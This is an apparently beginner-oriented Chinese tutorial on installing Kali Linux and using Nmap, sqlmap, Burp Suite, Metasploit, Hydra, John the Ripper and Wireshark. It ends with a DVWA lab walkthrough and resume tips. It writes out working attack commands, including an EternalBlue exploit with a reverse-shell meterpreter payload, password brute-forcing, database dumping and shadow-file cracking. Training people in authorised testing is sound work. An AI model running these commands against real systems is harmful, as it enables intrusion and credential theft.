返回文章列表
网络安全

怎么安装 Kali Linux?Kali Linux 常用命令合集

张毅
2025-11-28
6天前
怎么安装 Kali Linux?Kali Linux 常用命令合集

我转行面试渗透测试岗位时,面试官问 “你用过 Kali Linux 吗?会用里面的 Nmap、Sqlmap 吗?”—— 当时我只在 Windows 上用过 Sqlmap,没接触过 Kali,直接没通过。后来才知道:Kali Linux 是 “渗透测试专用系统”,里面预装了 800 + 安全工具(Nmap、Burp Suite、Sqlmap 等),90% 的渗透测试岗位要求 “会用 Kali”。本文从 “安装” 到 “常用命令”,帮零基础快速上手 Kali。

一、先搞懂:Kali Linux 是什么?为什么必须学?

1. Kali Linux 的 “身份”

Kali Linux 是基于 Debian 的 Linux 操作系统,专门为 “渗透测试、漏洞评估、网络安全” 设计 —— 简单说,它是 “安全工程师的工具箱”,打开就能用各种安全工具,不用自己一个个安装(Windows 装工具要配置环境,很麻烦)。

2. 为什么必须学?(3 个核心原因)

  • 工具全:预装 800 + 安全工具,覆盖 “信息收集、漏洞利用、流量分析、密码破解” 等所有渗透场景(如 Nmap、Burp Suite、Sqlmap、Metasploit);
  • 岗位刚需:渗透测试、Web 安全岗位面试 100% 会问 “你用 Kali 做过什么实战?”,不会 Kali 基本找不到这类工作;
  • 兼容性好:很多安全工具(如 Metasploit 框架)只支持 Linux,在 Windows 上用不了或容易出错,Kali 能完美运行。

二、第一步:安装 Kali Linux(零基础推荐虚拟机安装)

不建议直接在电脑上装(会覆盖原系统),推荐用 VMware 装虚拟机(安全、方便,不用改电脑设置):

1. 准备工具(3 个,全免费)

  • VMware Workstation Player(虚拟机软件,官网可下免费版);
  • Kali Linux 镜像文件(官网下载,选 “64-bit”,文件格式是.iso);
  • 至少 8G 内存、50G 硬盘空间(Kali 运行需要,内存不够会很卡)。

2. 安装步骤(图文简化版,零基础能看懂)

  1. 打开 VMware,点击 “创建新的虚拟机”,选 “典型”,下一步;
  2. 选 “安装程序光盘映像文件(iso)”,点击 “浏览”,选择下载的 Kali 镜像,下一步;
  3. 填写 “客户机操作系统”:选 “Linux”,版本选 “Debian 11.x 64 位”,下一步;
  4. 虚拟机名称填 “Kali Linux”,位置选 “D 盘 / Kali”(别放 C 盘,占空间),下一步;
  5. 磁盘大小选 “50GB”,选 “将虚拟磁盘存储为单个文件”,下一步;
  6. 点击 “自定义硬件”,内存调为 “4GB”(至少 2GB,越大越流畅),处理器调为 “2 核”,点击 “完成”;
  7. 点击 “开启此虚拟机”,进入 Kali 安装界面,选 “Graphical install”(图形化安装,简单);
  8. 语言选 “中文(简体)”,地区选 “中国”,键盘选 “汉语”,下一步;
  9. 等待 “加载组件”,然后设置 “主机名”(如 kali)、“域名”(不用填,留空),下一步;
  10. 设置 “root 密码”(重要!记好,登录要用),下一步;
  11. 磁盘分区选 “使用整个磁盘”,下一步,选 “将所有文件放在一个分区中”(简单,适合零基础),下一步;
  12. 选 “结束分区设定并将修改写入磁盘”,选 “是”,等待安装(约 20 分钟,看电脑速度);
  13. 安装完成后,重启虚拟机,用 root 账号和刚才设的密码登录(桌面版,和 Windows 一样有图标,很直观)。

3. 入门设置(2 个必做,否则工具用不了)

  1. 更新软件源(Kali 默认源在国外,更新慢,换国内源):
  • 打开终端(点击桌面 “终端” 图标),执行命令:vim /etc/apt/sources.list;
  • 按 “i” 进入编辑模式,删除原有内容,粘贴国内源(推荐阿里云源):
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
  • 按 “Esc”,输入 “:wq” 保存退出;
  • 执行命令:apt update && apt upgrade -y(更新软件,约 10-30 分钟,耐心等)。
  1. 安装中文输入法(默认只有英文,输入中文方便):
  • 执行命令:apt install fcitx fcitx-googlepinyin -y;
  • 重启虚拟机,右下角会出现输入法图标,按 “Ctrl+Space” 切换中英文。

三、第二步:Kali 常用工具命令(按渗透流程分 4 类,附示例)

Kali 的工具按 “渗透测试流程” 分 4 类:信息收集、漏洞利用、密码破解、流量分析,我们重点学 “入门必用” 的 10 个命令(每个命令给示例,照着敲就能用)。

1. 信息收集工具(渗透第一步:了解目标)

(1)Nmap:端口扫描(看目标开放哪些端口,对应什么服务)

  • 作用:比如扫描目标 IP(192.168.1.100),看开放了 80(HTTP)、22(SSH)端口,就知道目标有网页和 SSH 服务;
  • 常用命令及示例:
命令作用示例(扫描目标 IP 192.168.1.100)输出说明
nmap -sT 目标IPTCP 全连接扫描(稳定,适合入门)nmap -sT 192.168.1.100会显示 “22/tcp open ssh”“80/tcp open http”,表示 22、80 端口开放
nmap -sV 目标IP显示服务版本(知道服务是哪个版本,找对应漏洞)nmap -sV 192.168.1.100会显示 “22/tcp open ssh OpenSSH 7.9p1”,表示 SSH 服务是 7.9 版本
nmap -p 端口范围 目标IP扫描指定端口(比如只扫 1-1000 端口,速度快)nmap -p 1-1000 192.168.1.100只扫描 1 到 1000 端口,不扫其他端口

(2)whois:查询域名注册信息(看目标网站是谁的,在哪注册)

  • 作用:比如查询 “baidu.com”,能看到注册商、注册时间、联系人邮箱;
  • 命令示例:whois baidu.com;
  • 输出说明:会显示 “Registrar: MarkMonitor Inc.”(注册商是 MarkMonitor)、“Creation Date: 1999-10-11”(注册时间是 1999 年)。

(3)dig:查询 DNS 记录(看目标域名对应的 IP 地址)

  • 作用:比如查询 “baidu.com” 的 IP,知道访问这个域名时,实际连接的是哪个服务器;
  • 命令示例:dig baidu.com;
  • 输出说明:在 “ANSWER SECTION” 下能看到 “baidu.com. 1200 IN A 110.242.68.66”(A 记录,对应 IP 是 110.242.68.66)。

2. 漏洞利用工具(渗透第二步:利用漏洞入侵)

(1)Sqlmap:自动化 SQL 注入(找网页的 SQL 注入漏洞,获取数据库数据)

  • 作用:比如目标网页有 “http://192.168.1.100/login.php?id=1”,用 Sqlmap 能自动检测是否有 SQL 注入,能获取数据库名、表名、数据;
  • 常用命令及示例:
命令作用示例(目标 URL:http://192.168.1.100/login.php?id=1)输出说明
sqlmap -u 目标URL检测目标是否有 SQL 注入sqlmap -u http://192.168.1.100/login.php?id=1会显示 “Parameter ‘id’ is vulnerable”,表示 id 参数有注入漏洞
sqlmap -u 目标URL -dbs获取所有数据库名sqlmap -u http://192.168.1.100/login.php?id=1 -dbs会列出目标的数据库,如 “mysql”“testdb”
sqlmap -u 目标URL -D 数据库名 -tables获取指定数据库的表名sqlmap -u … -D testdb -tables会列出 testdb 数据库的表,如 “user”“order”

(2)Burp Suite:抓包改包(Web 安全核心工具,找 XSS、CSRF 漏洞)

  • 作用:拦截浏览器和服务器之间的 HTTP/HTTPS 请求,修改请求内容(如改 Cookie、改参数),测试漏洞;
  • 入门使用步骤(以抓 HTTP 包为例):
  1. 打开 Burp Suite(Kali 桌面 “应用程序”→“Web 应用程序”→“Burp Suite Community Edition”);
  2. 配置浏览器代理:打开 Kali 自带的 Firefox 浏览器,设置→常规→网络设置→手动配置代理,HTTP 代理填 “127.0.0.1”,端口填 “8080”,保存;
  3. 点击 Burp Suite 的 “Proxy”→“Intercept”,确保 “Intercept is on”(拦截开启);
  4. 在浏览器访问 “http://192.168.1.100/login.php”,输入账号密码点击登录 ——Burp 会拦截到登录请求;
  5. 查看请求内容:在 Burp 的 “Raw” 标签能看到完整的 HTTP 请求(请求行、请求头、请求体),可修改参数(如把密码改成 “123456”),点击 “Forward” 发送请求。

(3)Metasploit:漏洞利用框架(攻击服务器、系统,获取权限)

  • 作用:比如目标服务器有 “永恒之蓝” 漏洞(Windows 漏洞),用 Metasploit 能一键攻击,获取服务器控制权;
  • 入门命令及示例(攻击永恒之蓝漏洞):
  1. 打开 Metasploit:终端执行msfconsole(会进入 Metasploit 界面,等待加载完成);
  2. 搜索永恒之蓝模块:search ms17-010(ms17-010 是永恒之蓝漏洞编号),输出会显示 “exploit/windows/smb/ms17_010_eternalblue” 模块;
  3. 使用攻击模块:use exploit/windows/smb/ms17_010_eternalblue,终端会提示 “[*] Using configured payload windows/x64/meterpreter/reverse_tcp”(默认 payload,用于获取远程控制会话);
  4. 设置目标 IP:set RHOSTS 192.168.1.101(替换为目标 Windows 服务器 IP);
  5. 设置本地 IP(用于接收会话):set LHOST 192.168.1.100(替换为你的 Kali 机器 IP,用ifconfig命令可查);
  6. 执行攻击:run或exploit;
  7. 成功后会获取 “meterpreter 会话”,输入shell可进入目标服务器的 CMD 命令行(如输入ipconfig能查看目标服务器 IP,输入dir能看文件列表);
  • 注意:仅在授权的测试环境中使用(如自己搭建的 Windows 虚拟机),禁止攻击他人系统。

3. 密码破解工具(渗透第三步:破解账号密码)

(1)Hydra:暴力破解(破解 SSH、FTP、登录页面等密码)

  • 作用:通过 “字典”(包含大量可能密码的文件)尝试登录,适合破解弱密码(如 admin/123456);
  • 常用命令及示例:
命令作用示例(破解 SSH 密码,目标 IP:192.168.1.100,用户名:root)输出说明
hydra -l 用户名 -P 字典路径 目标IP 服务类型单用户名 + 字典破解hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh若破解成功,会显示 “[22][ssh] host: 192.168.1.100 login: root password: 123456”
hydra -L 用户名字典 -P 密码字典 目标IP http-post-form破解网页登录(POST 请求)hydra -L user.txt -P pass.txt 192.168.1.100 http-post-form “/login.php:username=USER&password=PASS:Login failed”“/login.php” 是登录页面路径,“Login failed” 是登录失败提示(用于判断是否成功)
  • 字典路径:Kali 自带字典在/usr/share/wordlists/目录,常用rockyou.txt(需解压:gunzip rockyou.txt.gz)。

(2)John the Ripper:哈希密码破解(破解存储在文件中的加密密码,如 Linux /etc/shadow 文件)

  • 作用:比如获取到 Linux 服务器的/etc/shadow文件(包含用户哈希密码),用 John 能破解出明文密码;
  • 常用命令及示例:
  1. 准备哈希文件:将/etc/shadow文件复制到 Kali(假设保存为shadow.txt);
  2. 执行破解:john shadow.txt(默认用自带字典);
  3. 查看破解结果:john --show shadow.txt,若成功会显示 “root:123456:18987:0:99999:7:::”(root 用户密码是 123456);
  • 进阶:用自定义字典破解:john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt。

4. 流量分析工具(渗透第四步:分析网络流量,找攻击痕迹)

(1)Wireshark:图形化流量分析(抓包、分析异常流量)

  • 作用:比如服务器被攻击后,用 Wireshark 打开当时的流量包,能看到黑客的 IP、攻击行为(如 SQL 注入请求);
  • 入门使用步骤(分析 SQL 注入流量):
  1. 打开 Wireshark:Kali 桌面 “应用程序”→“网络分析”→“Wireshark”;
  2. 选择网卡:点击 “eth0” 或 “wlan0”(根据你的网络选择),开始抓包;
  3. 设置过滤条件:在过滤框输入 “http and ip.addr == 192.168.1.100”(只看目标 IP 192.168.1.100 的 HTTP 流量);
  4. 触发攻击:在另一台机器对 192.168.1.100 做 SQL 注入(如输入admin’ or ‘1’='1登录);
  5. 分析流量:在 Wireshark 中找到 “POST /login.php” 的请求包,右键 “追踪流”→“TCP 流”,能看到请求体中的username=admin%27+or+%271%27%3D%271(URL 编码后的 SQL 注入语句),确认存在攻击。

(2)Tcpdump:命令行流量抓包(无图形界面时用,如远程服务器)

  • 作用:在没有桌面的 Linux 服务器上,用 Tcpdump 抓包,保存为文件后再用 Wireshark 分析;
  • 常用命令及示例:
命令作用示例输出说明
tcpdump -i 网卡 -w 保存文件抓包并保存到文件tcpdump -i eth0 -w traffic.pcap会在当前目录生成traffic.pcap文件,按Ctrl+C停止抓包
tcpdump -i 网卡 host 目标IP只抓目标 IP 的流量tcpdump -i eth0 host 192.168.1.100实时显示 192.168.1.100 的所有流量,如 “IP 192.168.1.100.80> 192.168.1.101.54321: Flags [P.], seq 123:456, ack 789, win 502, length 333”

四、实战案例:用 Kali 做一次简单 Web 渗透测试(零基础可操作)

目标:在 DVWA 靶场(本地搭建)完成 “SQL 注入→获取数据库数据→破解管理员密码” 全流程

步骤 1:搭建 DVWA 靶场(已搭建可跳过)

  1. 在 Kali 中打开终端,执行docker pull citizenstig/dvwa(用 Docker 快速部署,无需手动装环境);
  2. 启动 DVWA:docker run -d -p 8080:80 citizenstig/dvwa(将靶场映射到 Kali 的 8080 端口);
  3. 访问靶场:打开 Kali 浏览器,输入http://127.0.0.1:8080,默认账号admin,密码password,登录后进入 DVWA 界面。

步骤 2:用 Nmap 扫描靶场端口

执行nmap -sV 127.0.0.1 -p 8080,输出会显示 “8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))”,确认靶场正常运行。

步骤 3:用 Sqlmap 做 SQL 注入,获取数据库数据

  1. 在 DVWA 中设置安全级别为 “Low”(左侧 “DVWA Security”→“Security Level” 选 “Low”→“Submit”);
  2. 进入 “SQL Injection” 模块,浏览器地址栏会显示http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#;
  3. 在 Kali 终端执行sqlmap -u “http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=你的PHPSESSID”(PHPSESSID 从浏览器 Cookie 中获取,按 F12→“应用”→“Cookie” 查看);
  4. 按提示输入 “Y” 确认,Sqlmap 会检测出 “id” 参数存在 SQL 注入;
  5. 执行sqlmap -u … --dbs,获取数据库列表,会看到 “dvwa” 数据库;
  6. 执行sqlmap -u … -D dvwa -tables,获取 “dvwa” 数据库的表,会看到 “users” 表;
  7. 执行sqlmap -u … -D dvwa -T users -columns,获取 “users” 表的列,会看到 “user”(用户名)和 “password”(哈希密码)列;
  8. 执行sqlmap -u … -D dvwa -T users -C user,password --dump,导出用户名和哈希密码,会看到 “admin” 对应的密码哈希 “5f4dcc3b5aa765d61d8327deb882cf99”。

步骤 4:用 John the Ripper 破解哈希密码

  1. 将哈希密码保存到文件:echo “admin:5f4dcc3b5aa765d61d8327deb882cf99” > hash.txt;
  2. 执行破解:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt;
  3. 查看结果:john --show hash.txt,会显示 “admin:password”(破解出 admin 用户的明文密码是 password)。

步骤 5:验证结果

用 “admin/password” 登录 DVWA,确认登录成功,完成渗透测试流程。

五、Kali Linux 学习总结与转行应用

1. 学习重点(零基础别贪多)

  • 优先掌握:Nmap(信息收集)、Sqlmap(SQL 注入)、Burp Suite(抓包)这 3 个工具,能应对 80% 的入门级渗透场景;
  • 避免误区:别盲目学 “所有工具”,先把 1 个工具用熟(如用 1 周时间练会 Sqlmap 的 5 个常用命令),比学 10 个工具却不会用更有用。

2. 转行简历写法(突出 Kali 实战经验)

  • 技能栏:“熟练使用 Kali Linux,会用 Nmap 做端口扫描、Sqlmap 做 SQL 注入、Burp Suite 抓包分析,能独立完成 DVWA 靶场渗透测试”;
  • 项目经验:“使用 Kali Linux 对 DVWA 靶场进行 Web 渗透测试,通过 Sqlmap 获取 dvwa 数据库的 users 表数据,用 John the Ripper 破解 admin 用户密码,生成渗透测试报告”。

3. 面试回答(举例,被问 “你用 Kali 做过什么实战?”)

“我用 Kali 完成过 DVWA 靶场的全流程渗透:首先用 Nmap 扫描靶场端口,确认 8080 端口开放且运行 Apache 服务;然后在 DVWA 的 SQL Injection 模块,用 Sqlmap 检测出 id 参数存在注入,导出了 dvwa 数据库中 users 表的用户名和哈希密码;最后用 John the Ripper 破解出 admin 用户的明文密码,整个过程用到了 Nmap、Sqlmap、John 这 3 个 Kali 自带工具,还生成了详细的渗透报告。”

总结

Kali Linux 的核心是 “工具 + 实战”,零基础不用背所有命令,先练会 “信息收集→漏洞利用→密码破解” 的基础流程,再逐步学进阶工具。建议每天用 1 小时实操(如练 1 个 Sqlmap 命令、做 1 次简单渗透),1 个月就能熟练上手,应对入门级渗透测试岗位需求。评论区说说你在 Kali 使用中遇到的问题,帮你解决!


本文内容仅供参考,不构成任何专业建议。使用本文提供的信息时,请自行判断并承担相应风险。

分享文章
合作伙伴

本站所有广告均是第三方投放,详情请查询本站用户协议